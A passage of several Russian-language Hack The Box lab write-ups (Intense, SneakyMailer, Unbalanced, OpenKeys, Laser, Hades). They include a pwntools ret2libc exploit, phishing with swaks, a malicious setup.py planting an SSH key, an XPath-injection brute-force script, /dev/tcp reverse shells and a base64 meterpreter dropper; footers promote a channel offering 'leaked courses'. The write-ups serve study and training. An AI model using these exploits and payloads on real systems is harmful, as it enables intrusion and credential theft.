Так OID объекта 1.3.6.1.4.1.8072.1.3.2. Выполняем команду и получаем бэкконнект.

snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2





ROOT


Получим нормальный bash и посмотрим домашнюю директорию пользователя.



Находим исполняемый файл и исходный код. С помощью netcat копируем файлы на локальную машину для анализа.



Из исходного кода программы узнаем, что она прослушивает 5001 порт.



Давайте проверим.





Таким образом мы нашли вектор LPE. Данная программа прослушивает локальный порт 5001 и работает от имени root. Пользователь SNMP не имеет интерактивной оболочки (было отмечено в /etc/passwd) но мы можем туннелировать порт при помощи SSH. Давайте сгенерируем ключ и запишем в authorized_keys на удаленной машине.





А теперь пробрасываем порт.

ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb



Отлично. Приступаем к анализу программы.

Атака Ret2Libc


Узнаем, какую библиотеку использует программа с помощью GDB, а потом скопируем ее способом, которым мы пользовались ранее.



И не забываем проверим используемую защиту.



Таким образом образом у нас есть и рандомная адресация, канарейка и неисполняемый стек. Для начала напишем шаблон эксплоита.

#!/usr/bin/python3from pwn import *HOST = '127.0.0.1'PORT = 5001context(os='linux', arch='amd64')binary = ELF('./note', checksec=False)libc = ELF('./libc-2.27.so', checksec=False)r = remote(HOST, PORT)r.interactive()



Разберемся с функционалом приложения. Из исходного кода становится ясно, что мы можем создавать, копировать и читать заметки.

Давайте реализуем данные функции. При записи, мы должны прислать 1 байт = 0x01, и после чего 1 байт размер сообщения и само сообщение.



def W(s):    r.send(p8(1))    r.send(p8(len(s)))    r.send(s)

Копирование требует 0x02, два байта смещение и один байт размер.



def CPY(offset, size):    r.send(p8(2))    r.send(p16(offset))    r.send(p8(size))

И для чтения только байт 0x03.



def R(size):    r.send(p8(3))    return r.recv(size)

А размер буфера равен 1024.



Мы можем переполнить буфер, но нам нужно знать значение канарейки и регистров RBP и RIP. Их мы можем узнать благодаря функции CPY, узнав данные по смещению 1024. Но их сперва нужно занять. Так как мы можем записать только 255 байтов за один раз, то нам нужно 4 раза записать по 255 символов и пятый раз дополнить 4 байта. А потом уже прочитать 1056 байт и отделить 32 байт после нашего буфера.

[  W("A"*255) for _ in range(4) ]W("A"*4)CPY(1024, 32)post_buf = R(1056)[1024:]_CANARY = u64(post_buf[8:16])_RBP = u64(post_buf[16:24])_RIP = u64(post_buf[24:32])print("CANARY: " + hex(_CANARY))print("RBP: " + hex(_RBP))print("RIP: " + hex(_RIP))



Зная RIP и зная относительный адрес выхода из функции, мы можем вычислить адрес, по которому загружена программа.



binary.address = _RIP - 0xf54

И воспользуемся классом ROP, чтобы получить адрес функции write (про ROP уже досконально разбирали).

rop_binary = ROP(binary)rop_binary.write(4, binary.got['write'])r = remote(HOST, PORT)payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72W(payload)[  W("A"*255) for _ in range(3) ]W("A"*187)CPY(0, len(payload))R(1024 + len(payload))libc_write = u64(r.recv(8))print("Leak: " + hex(libc_write))



И вычислим адрес, по которому загружена LIBC.

libc.address = libc_write -libc.symbols['write']print("LIBC address: "+ hex(libc.address))



Похоже на правду. А теперь получим шелл, используя тот же класс ROP. Как это обычно бывает, перенаправим потоки ввода/вывода, вызываем /bin/sh и перезаписываем функцию write.

libc_rop = ROP(libc)libc_rop.dup2(4, 0)libc_rop.dup2(4, 1)libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)r = remote(HOST, PORT)payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152W(payload)[  W("A"*255) for _ in range(3) ]W("A"*107)CPY(0, len(payload))R(1024 + len(payload))

Полный код, как всегда, привожу картинкой.





И мы с полными правами.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение SneakyMailer. Фишинговая рассылка, LPE через PyPI и GTFOBins pip3

28.11.2020 18:12:01 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.

10.10.10.197 sneakymailer.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htb
На сайте можно найти список сотрудников и соответствующие emailы.



Для получения всех адресов электронной почты советую использовать email extractor.



А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt



И видим, что какой-то пользователь переходит по нашей ссылке.



Давайте декодируем данные.



И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.

Entry point


В качестве клиента используем Evolution.









Вводим пароль при подключении и видим два письма.



В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.





Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.





Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb


Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.phpcat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.





USER


Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.





Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2



hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt



Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb



На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директрию.



Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup try: f = open('/home/low/.ssh/authorized_keys', 'a') f.write('ssh-rsa ... ') f.close() except: setup( name='ralfpack', packages=['ralfpack'], description='R', version='0.1', url='http://pypi.sneakymailer.htb:8080/ralfpack', author='ralf', author_email='ralf@ralf.com', keywords=['pip','ralfpack','example'] )

Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).





И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.



Загружаем все файлы на хост.



Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'python3 setup.py sdist



Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack



Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.



ROOT


Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.



Обращаемся к GTFOBins и видим инструкцию получения шелла.



Повторяем и получаем шелл от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Unbalanced. Rsync, EncFS, Squid, XPath инъекция и RCE в Pi-hole

05.12.2020 18:16:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разбираемся с резервной копией в rsync, подбираем пароль для EncFS, работаем со squid прокси-сервером, эксплуатируем XPath инъекцию и эксплуатируем RCE в Pi-hole.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.200, который я добавляю в /etc/hosts.

10.10.10.200 unbalanced.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И мы наблюдаем службы SSH, rsync и прокси squid. Rsync программа для UNIX-подобных систем, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика. Rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию.
Посмотрим список доступных модулей.
rsync --list-only rsync://unbalanced.htb:873



Скопируем conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups



По наличию файла .encfs6.xml понимаем, что это шифрованный том EncFS. Давайте получим хеш пароля.



И переберем его.



Таким образом, мы получаем пароль, с помощью которого выполнено шифрование. Осталось монтировать раздел.



И получаем уже нормальный список файлов.



В основном это файлы конфигураций, и нас больше всего интересует squid.conf. Давайте посмотрим все незакоментированные строки.
cat squid.conf | grep -v '^#' | uniq





Сохраняем пароль и отмечаем новое доменное имя, которое добавляем в /etc/hosts. Так же смотрим списки доступа ACL.
10.10.10.200 intranet.unbalanced.htb

Установим в браузере прокси и обратимся по найденному доменному имени к веб серверу.



Нас встречает форма авторизации. Просидев с ней некоторое время, было принято решение дальше работаеть со squid.

Entry Point


Давайте посмотрим доступные опции.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'



И мы можем найти еще доменные имена.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache



И есть еще три имени. Добавляем их в /etc/hosts (последнее было подобрано логически).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb172.31.179.1 intranet.unbalanced.htb

И на первом же видим, что данный сайт временное решение.



Дальше попадаем на такую же форму авторизации.

USER


Снова ее тестируем и получаем реакцию на запрос or=.





И получаем список пользователей. Это XPath-иньекция. Дело в том, что с помощью определенных запросов мы можем узнать пароли пользователей для данных имен.

Так для начала можно определить длину пароля с помощью функции string-length. Тестируем на логине. Мы знаем, что верная длина 5, поробуем условие с 4 и с 5 и увидим разницу.





Разница видна. После определения длина, мы можем по одному символу достать пароль. Так же тестируем на логине. Возьмем первую букву и сравним ее с a, а потом с b.





Разница также видна. Напишем код, который подобным образом переберет все пароли для каждого логина.
import requestsimport stringurl = 'http://172.31.179.1/intranet.php'proxies = {'http':'http://10.10.10.200:3128'}users = ['bryan','sarah', 'jim', 'rita']pass_str_len = "' or Username='USER' and string-length(Password)='"pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"for user in users:    for l in range(1,25):        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }        request = requests.post(url=url, data=data, proxies=proxies)        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")        if 'Invalid credentials.' not in request.text:            passwd = ''            for num in range(l):                for c in string.printable[:94]:                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }                    request = requests.post(url=url, data=data, proxies=proxies)                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')                    if 'Invalid credentials.' not in request.text:                        passwd += c                        break            print(user +" : "+ passwd + " "*10)            break



И первый пользователей имеет доступ по SSH с найденным паролем.



ROOT


В домашней директории пользователя находим TODO список.



И мы видим, что еще не выполнены задачи, связанные с Pi-hole (пароль admin). Но просмотреть открытые порты не вышло, так как отсутствует netstat. Тогда можно воспользоваться данным скриптом.



Открыты порты 8080 и 5553.





И в ответе находим еще один домен и соответствующий ему IP. Прокинем порт и обратимся через браузер.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb



Переходи на страницу и авторизуем с паролем admin. В самом низу видим версию.



Посмотрим эксплоиты.





Давайте запустим листенер и выполним эксплоит.





Посмотрим файлы рута и найдем упомянутый в TODO листе скрипт.





В нем присутствует пароль.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение OpenKeys. Ломаем виртуалку OpenBSD

12.12.2020 18:17:24 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.199, который я добавляю в /etc/hosts.

10.10.10.199 openkeys.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Проходим на 80 порт и нас встречает форма авторизации.



Entry Point


Давайте просканируем директории.
gobuster dir -t 128 -u openkeys.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php



Находим непроиндексированную директорию include.



Посмотрим swp файл.



И находим новый домен. Добавим его в /etc/hosts. Но там нас встречает все та же форма авторизации. Так как это OpenBSD возникла идея найти дефолтные учетные данные. И я наткнулся на эту статью, оказалось распространенным случаем.



USER


Авторизуемся и нам сообщают, что такого пользователя нет.



Тогда ссылаясь на имя домена, предположим, что существует пользователь jennifer.



И получаем SSH ключ.





ROOT




И для данной версии существуют эксплоиты.



Загруаем на хост.
scp -i jennifer.key ./openbsd-authroot jennifer@jenniferopenkeys.htb:/tmp/

И выполняем.



Мы получаем привилегии root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH

19.12.2020 20:12:49 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.

10.10.10.201 laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).



И мы находим даже инструмент, который позволяет нам работать с принтером.

Entry Point


Давайте посмотрим, что мы можем в итоге получить.



Осмотревшись, мы находим только один файл.



Давайте получим его и откроем.



Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.



Но мы можем достать ключ шифрования.



Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AESmess = open("./PRET/queued", "r").read()[2:].replace("'", "")mess_decrypt = base64.b64decode(mess)IV, CT = mess_decrypt[8:24], mess_decrypt[24:]chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)OT = chip.decrypt(CT)with open("decr.pdf", "wb") as f:    f.write(OT)



По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.



Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.

Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая набор примочек для автоматизации разработки.
sudo pip3 install grpciosudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto



Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:22"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:    response = stub.Feed(content, timeout=30)    print(response)except Exception as e:    print(e.details())



То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcfor port in range(1, 65536):    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'    p2 = base64.b64encode(pickle.dumps(p))    channel = grpc.insecure_channel('10.10.10.201:9000')    stub = ralf_pb2_grpc.PrintStub(channel)    content = ralf_pb2.Content(data=p2)    try:        response = stub.Feed(content, timeout=30)        print("Port found: " + str(port))    except Exception as e:        if "Connection refused" in e.details():            print("Port: "+ str(port), end="\r")        else:            print("Port open: " + str(port) + " "*10)



И находим нужный, отвечающий нам порт.

USER


Узнаем что это.





И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:stub.Feed(content, timeout=30)except Exception as e:print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:        response = stub.Feed(content, timeout=30)except Exception as e:        print(e.details())

И у нас есть шелл от имени пользователя.



ROOT


Для удобного доступа сгенерируем и запишем SSH ключ.





Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.





Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.



Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.



А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/shcp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.



И подключимся как root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

29.12.2020 00:19:38 | Автор: admin


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:
1.Professional Offensive Operations.
2.XEN.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.
1. Chasm flag RCE (command injection) + Initial Access;
2. Guardian flag Enumeration + ASREP Roasting;
3. Messenger flag Printer Bug + Silver Ticket + Service Control
4. Resurrection flag Creds Access and Dumping
5. Gateway flag BloodHound + Control account
6. Celestial flag ADIDNS + Responder
7. Dominion flag Lateral Movement



Так же дается описание и адрес доступного хоста.



Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис Certificate Checker.



Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.



Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)


И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.



На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)



Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.



Создадим python скрипт.
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"params = {'name': payload}response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf



Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.



На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo



Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321



И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit быстро и удобно.



И сразу в текущей директории находим первый флаг.



Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.



Из вывода мы узнаем, что находимся в докер контейнере.



Так же находим еще один хост 192.168.99.1.



Посмотрим информацию о сетевых интерфейсах.



И в своей сети находим еще один хост.



Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.



Далее просканируем два найденных хоста.





Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker:tcuser). И сразу переходим к пользователю root.
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'ssh docker@172.17.0.1



Тоже ничего не найдя, переходим к последнему варианту это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.



Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24



Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445



И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203



Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.
run autoroute -s 192.168.3.0/24run autoroute -p



Теперь давайте настроим перенаправитель socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.



